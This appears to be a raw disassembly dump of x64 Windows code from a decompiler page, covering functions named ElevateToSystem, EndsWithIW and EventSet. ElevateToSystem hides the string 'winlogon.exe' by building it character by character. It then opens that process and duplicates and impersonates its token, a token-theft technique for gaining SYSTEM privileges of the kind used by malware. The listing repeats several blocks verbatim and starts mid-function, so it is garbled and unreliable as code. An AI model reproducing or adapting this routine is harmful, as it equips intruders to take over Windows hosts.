140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
140012fbc
140012fbc // align 0x10
140012fbc // align 0x10
140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0
14001300a
14001300a // align 0x10
14001300a // align 0x10
140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010
Loading..